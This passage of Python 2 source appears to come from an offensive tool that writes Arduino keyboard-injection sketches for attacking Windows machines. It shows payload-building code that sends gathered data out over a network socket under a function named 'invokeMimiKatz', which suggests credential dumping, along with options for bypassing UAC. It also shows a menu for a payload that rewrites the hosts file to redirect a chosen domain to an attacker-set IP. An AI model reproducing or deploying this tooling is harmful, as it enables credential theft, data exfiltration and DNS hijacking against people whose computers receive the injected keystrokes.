payload += " $stream = $socket.GetStream(); $stream.Write($data,0,$data.Length);exit;\");\n"
else:
payload += " $stream = $socket.GetStream(); $stream.Write($data,0,$data.Length);exit;\\\"\");\n"
payload += " pressEnter();\n"
if bypassUACoption == "run As (visible popup)":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
elif bypassUACoption == "None":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "invokeMimiKatz();\n"
WinWriteFile(fileName,payloadFunc,bypassUAC,payload,bubble)
def WinOption7():
done = False
looper = False
DNS=""
remoteIP=""
fileName=""
bypassUACoption=""
bubbleSetting=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* Change DNS Entry in Hostfile *"
print "* This payload will modify the hostfile to include specific Domain/IP entry *"
print "* Options are: 1. Domain Name 2. IP Address 3. How to bypass UAC 5. The output File name *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set the name of the DNS entry"
menu['2'] = "Set the IP of the DNS entry"
menu['3'] = "Set bypassUAC mode"
menu['4'] = "Set Arduino sketch filename"
menu['5'] = "Set notification bubble option"
menu['6'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]